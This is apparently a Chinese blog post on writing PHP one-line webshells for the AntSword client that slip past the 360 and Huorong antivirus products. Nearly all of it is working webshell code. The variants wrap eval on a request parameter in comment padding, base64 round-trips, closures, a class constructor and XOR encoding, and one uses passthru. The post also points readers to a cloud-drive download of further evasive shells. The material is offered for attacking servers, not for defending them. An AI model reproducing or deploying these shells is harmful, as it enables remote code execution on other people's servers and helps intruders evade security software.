蚁剑 php一句话木马简单免杀(编码)绕过360,火绒

需要终极思路免杀木马的可以到夸克网盘下载(可用性验证时间为2025年1月15日)

PC直接访问链接即可(链接易失效,建议保存到网盘中)

https://pan.quark.cn/s/1140e64c27ec

手机可复制下载

「php_shell.zip」,复制整段内容,打开最新版「夸克APP」即可获取。

畅享原画,免费5倍速播放,支持AI字幕和投屏,更有网盘TV版。

/~7fb03A3ffm~:/

链接:https://pan.quark.cn/s/6758acc4e395

蚁剑编码器编写------php木马免杀

网上有很多木马的免杀,侧重的是流量层面的问题,但是我的想法是木马要先免杀,能够落地,再去考虑流量层面的问题。

蚁剑能够连接的关键

存在eval函数

无论蚁剑还是godzilla,都是通过代码执行进而命令执行,所以你会看到所有的明文马儿里面都是有eval函数的,那么也就是说eval函数是无法替换的。

举个栗子

php 复制代码
// 蚁剑可以连接成功,但是无法直接拼接执行命令 
<?php eval($_REQUEST["a"]);?> 
// 蚁剑会显示数据为空,但是可以拼接执行命令
<?php passthru($_REQUEST["a"]);?>

如何实现简单免杀从而绕过360,火绒呢?

构造思路

1.加密再解密eval函数
2.更改eval写法

代码实现(示例中连接密码均为a)

参数传递 + 注释混淆 + 动态执行

php 复制代码
<?php eval("/*echo*/".$_REQUEST["a"]);?>

8 字节尾部混淆 trick

php 复制代码
<?php eval($_REQUEST["a"]."#aaa");?>

当然了,现在这种简单的肯定是不免杀的,我们要加上加解密!

base64加解密

php 复制代码
<?php eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");?>

条件判断(增加传递参数)+编码

php 复制代码
<?php 
 if($_REQUEST["b"]=null){
            
     eval(base64_decode(base64_encode($_REQUEST["a"]))."#aaa");
 }else{
            
     echo $_REQUEST["b"];
 }
?>
php 复制代码
<?php
function a($b){
            
    return function ($c) use($b){
            
        return eval($c);
    };
}
$d=a('aaa');
echo $d(eval($_REQUEST["a"]))
?>

魔术方法(请求参数 -> 对象初始化 -> 代码执行

php 复制代码
<?php
class test {
            
    public function __construct($b = null) {
            
        if ($b !== null) {
            
            eval($b);
        }
    }
}
$b=$_REQUEST["a"];
$test = new Test($b);
?>

独家秘籍(这个已经可以绕过360和火绒了)

加个@!!!

php 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
            
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
            
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}

$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];


$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>

终极思路(chr配合ord加解密)

php 复制代码
chr((ord($c) + $offset) % 256)
chr((ord($c) - $offset + 256) % 256)
相关推荐
morning_judger几秒前
Agent开发系列(十)-知识库建设(架构总览)
开发语言·人工智能
ch.ju4 分钟前
Java程序设计(第3版)第四章——继承的特点
java·开发语言
geovindu6 分钟前
python:Coroutines Pattern
开发语言·python·设计模式·协程模式
A.说学逗唱的Coke8 分钟前
【运维专题】playbooks保姆级使用指南
运维·开发语言·python
牛油果子哥q9 分钟前
【C++运算符重载】C++运算符重载终极精讲:单目/双目/关系/赋值运算符重载、成员与全局重载、重载禁区、底层原理与企业级工程规范
开发语言·c++
AI视觉网奇15 分钟前
stl转glb glb缩放
开发语言·3d
2601_9618451519 分钟前
2026四级作文预测题|英语四级写作押题+提纲PDF
java·c语言·数据库·c++·python·pdf·php
日取其半万世不竭20 分钟前
Rust《腐蚀》 服务器低成本怎么开?配置、端口和存档避坑
服务器·开发语言·rust
消失的旧时光-194325 分钟前
Kotlin 协程设计思想(十):Kotlin 协程到底解决了什么问题?
开发语言·kotlin·生命周期·rxjava·协程·结构化并发
go不是csgo27 分钟前
从0到1理解Go熔断器:sony/gobreaker 源码剖析 + 仿TikTok Feed 项目实战
开发语言·后端·golang